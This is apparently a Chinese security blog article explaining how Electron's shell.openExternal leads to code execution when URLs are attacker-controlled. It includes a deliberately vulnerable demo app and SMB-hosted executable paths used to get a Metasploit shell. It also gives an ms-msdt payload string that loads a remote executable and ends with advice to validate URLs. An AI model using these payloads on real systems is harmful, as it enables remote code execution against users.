shell.openExternal | Electron 安全

0x01 简介

shell.openExternalshell 模块的一个方法,允许使用操作系统桌面原生程序打开一个 URI

shell.openExternal(url[, options])

options

  • activate

    MacOS独有,设置为 true 会将打开的应用程序置于前台

  • workingDirectory

    Window独有,设置工作目录

  • logUsage

    Window独有,指示用户启动的启动,可跟踪常用程序和其他行为

如果大家用过 open xxx 这类命令就很容易理解 shell.openExternal ,open 后面跟的 URI 文件的是什么类型就用解析对应类型的程序打开该文件,shell.openExternal 就是这个意思

所以 shell.openExternal 经常被用来在用户浏览器里打开网页,而不是在程序中直接渲染网页,但是如果 url 参数是攻击者可以控制的,那么到底会执行什么,用什么来执行就取决于系统绑定情况了

公众号开启了留言功能,欢迎大家留言讨论~

这篇文章也提供了 PDF 版本及 Github ,见文末


  • 0x01 简介

  • 0x02 效果展示

  • 0x03 攻击面介绍

    • 1. 打开可执行文件

    • 2. 远程文件

    • 3. 其他系统注册的协议

  • 0x04 漏洞案例

  • 0x05 总结

  • 0x06 PDF 版 & Github

  • 往期文章


0x02 效果展示

我们假设让用户输入一个 url ,之后传递给主进程,让主进程使用 shell.openExternal 打开

主进程 main.js

// Modules to control application life and create native browser window
const { app, BrowserWindow, ipcMain, shell } = require('electron')
const path = require('node:path')

function createWindow ({
  // Create the browser window.
  const mainWindow = new BrowserWindow({
    width1400,
    height800,
    webPreferences: {
      preload: path.join(__dirname, 'preload.js')
    }
  })

  // and load the index.html of the app.
  mainWindow.loadFile('index.html')

  // Open the DevTools.
  mainWindow.webContents.openDevTools()
}

app.whenReady().then(() => {
  createWindow()

  ipcMain.handle('open-url', (event, url) => {
    // 使用shell.openExternal打开网址
    shell.openExternal(url);
  });

  app.on('activate'function ({
    if (BrowserWindow.getAllWindows().length === 0) createWindow()
  })
})

app.on('window-all-closed'function ({
  if (process.platform !== 'darwin') app.quit()
})

渲染页面 index.html

<!DOCTYPE html>
<html>
<head>
  <title>Open URL Experiment</title>
</head>
<body>
  <input type="text" id="urlInput" placeholder="Enter a URL">
  <button id="openButton">Open in Browser</button>

  <script>
    document.getElementById('openButton').addEventListener('click'function({
      const url = document.getElementById('urlInput').value;
      if (url) {
        // console.log(url)
        // 发送网址到主进程
        window.myAPI.open_url(url);
      } else {
        alert('Please enter a valid URL');
      }
    });
  
</script>
</body>
</html>

预加载脚本 preload.js

const { contextBridge, ipcRenderer } = require('electron')

contextBridge.exposeInMainWorld('myAPI', {
   open_url(url) => {
    //  console.log(url)
     ipcRenderer.invoke('open-url', url)
   }
})
shell.openExternal | Electron 安全
shell.openExternal | Electron 安全

在输入框中输入 https://www.baidu.com/ 并点击 Open in Browser 按钮

shell.openExternal | Electron 安全

成功在浏览器中打开 https://www.baidu.com/

0x03 攻击面介绍

shell.openExternal 的攻击面主要在于攻击者如果能够控制 url 参数内容,可能会执行一些其他的结果

1. 打开可执行文件

Windows 11

shell.openExternal | Electron 安全

直接输入二进制可执行文件地址可以直接执行二进制可执行文件,但是不支持传递参数

在 Windows 中,路径后加上 ?xxxx 是不会影响定位文件的,但是后面的参数也没有传递给要执行的文件

MacOS 13.6

shell.openExternal | Electron 安全

Deepin Linux

shell.openExternal | Electron 安全

当传递二进制可执行文件的地址给 url 参数时,Windows 和 MacOS 平台都是直接运行二进制可执行文件,而 Linux 默认不会执行

由于无法传递参数,这导致直接打开二进制程序这事变得有些鸡肋,杀伤力小了很多,测试了一些在文件名、路径名等地方进行命令执行的方式,也不是很奏效

2. 远程文件

如果执行本地文件,那就只能先把恶意文件上传到目标电脑上,但 Electron 使用者大部分都是终端,也没有开放什么 web 服务之类的,上传到电脑上并且知道路径并不容易,于是大家开始思考,是否可以远程执行文件

远程文件执行主要以 smbftpsftpwebdivwebdavs 等协议为主,建议大家查看参考文档详细了解,接下来就以 smb协议为例

Windows 11

Windows 可以通过 SMB 协议远程加载文件进行执行

shell.openExternal('\\live.sysinternals.com\tools\procmon.exe');

我们尝试在 Windows 程序中测试

shell.openExternal | Electron 安全

确实可以远程加载文件执行,只不过会有提示,这就是考验用户安全意识的时候了,相信企业不会想把安全右移到用户侧的

我们拿 MSF 试一下

shell.openExternal | Electron 安全

创建 smb 临时目录

shell.openExternal | Electron 安全

修改 samba 服务配置文件,添加我们的共享信息

shell.openExternal | Electron 安全

启动/重启 samba服务

shell.openExternal | Electron 安全

开启 MSF 监听

shell.openExternal | Electron 安全

在程序侧输入 \192.168.31.83publictest.exe

shell.openExternal | Electron 安全

点击按钮测试

shell.openExternal | Electron 安全

模拟用户安全意思薄弱,点击了运行

shell.openExternal | Electron 安全

成功获取到 shell

MacOS 13.6

shell.openExternal | Electron 安全
shell.openExternal | Electron 安全

点击按钮

shell.openExternal | Electron 安全

这就更鸡肋了,除非用户安全意识极度薄弱,点击连接后

shell.openExternal | Electron 安全

还要再点击客人,用户可以是安全意识薄弱的,但很难在安全意识薄弱的同时,还很懂 smb 这类服务怎么用,所以即使用户点击了客人并连接以后

shell.openExternal | Electron 安全

会跳出这个窗口,并不会执行,这个步骤就是连接 smb 服务器,此时我们再次回到程序,再次点击按钮

shell.openExternal | Electron 安全

还是仅仅会打开目录,并不会执行,即使会执行,还会验证开发者等一系列安全措施

Deepin Linux

Deepin Linux 上,我们尝试执行 .desktop 文件,直接从 Deepin Linux 桌面上拿一个过来

shell.openExternal | Electron 安全
shell.openExternal | Electron 安全
shell.openExternal | Electron 安全

Deepin Linux 上输入我们的 smb 链接

shell.openExternal | Electron 安全
shell.openExternal | Electron 安全

执行失败,显示指定的位置未挂载,当我显式地执行本地 .desktop 文件时

shell.openExternal | Electron 安全
shell.openExternal | Electron 安全

Deepin Linux 默认是用文本编辑器来打开 .desktop 文件的,其他 Linux 就需要进一步测试了

参考文档

https://benjamin-altpeter.de/shell-openexternal-dangers/

3. 其他系统注册的协议

除了 file://smb:// 以外,系统注册的其他协议也是可以被利用的,参考文章中的作者还给出了在 Windows 上的几个案例

  • ms-msdt:  Microsoft支持诊断工具

  • search-ms:  打开搜索功能

  • jnlp: 对于存在 Java 环境可以使用的协议

  • ms-officecmd: Microsoft Office UWP 应用程序用于启动其他 Office 桌面应用程序的方案

我们测试一下第一个吧

ms-msdt:-id PCWDiagnostic /moreoptions false /skip true /param IT_BrowseForFile="\live.sysinternals.comtoolsprocmon.exe" /param IT_SelectProgram="NotListed" /param IT_AutoTroubleshoot="ts_AUTO"

我们测试一下,是否可以在 Windows 系统上远程加载 exe 文件

shell.openExternal | Electron 安全

在 Windows 11 上已经不可用了,似乎发生了移动,但显然这个协议是仍然保留了的,是不是后期会修改不得而知

还要注意的是那些自定义协议,可能会触发更多有危害的效果

参考文章

https://benjamin-altpeter.de/shell-openexternal-dangers/

https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8

https://positive.security/blog/ms-officecmd-rce

0x04 漏洞案例

https://hackerone.com/reports/1781102

https://github.com/tutao/tutanota/security/advisories/GHSA-mxgj-pq62-f644

https://user-images.githubusercontent.com/46137338/270564886-7a0389d3-f9ef-44e1-9f5e-57ccc72dcaa8.mp4

https://huntr.com/bounties/b242e806-fc8c-41c0-aad7-e0c9c37ecdee

https://www.exploit-db.com/exploits/51765

漏洞案例涉及 drawioRocket.Chat-DesktoptutanotaWebCatalog

0x05 总结

shell.openExternal  通常被用来调用用户浏览器来打开 http(s) 的链接,调用形式为

shell.openExternal(url[, options])

如果 url 是用户可控并且没有做有效验证,可能会导致攻击者利用其发起其他协议的请求,例如 smbwebdivsftp 等,进而导致远程代码执行

甚至还可以配合一些漏洞进行组合利用,因此开发者应该严格验证 url 参数的内容,很关键的一点是,验证过程不可以被攻击者篡改,在之前预加载脚本的文章中,我们介绍过通过关闭上下文隔离,使用原型污染的方式修改了 url 参数的验证过程,导致可以执行任意协议的请求

因此,除了对 url 参数做有效验证以外,还有保证验证过程不会被篡改

0x06 PDF 版 & Github

PDF

https://pan.baidu.com/s/1O4JuH5BxRJ_4GKk3aVE3FQ?pwd=br9t


Github

https://github.com/Just-Hack-For-Fun/Electron-Security

往期文章

shell.openExternal | Electron 安全

有态度,不苟同



原文始发于微信公众号(NOP Team):shell.openExternal | Electron 安全

版权声明:admin 发表于 2024年5月8日 下午5:37。
转载请注明:shell.openExternal | Electron 安全 | CTF导航

相关文章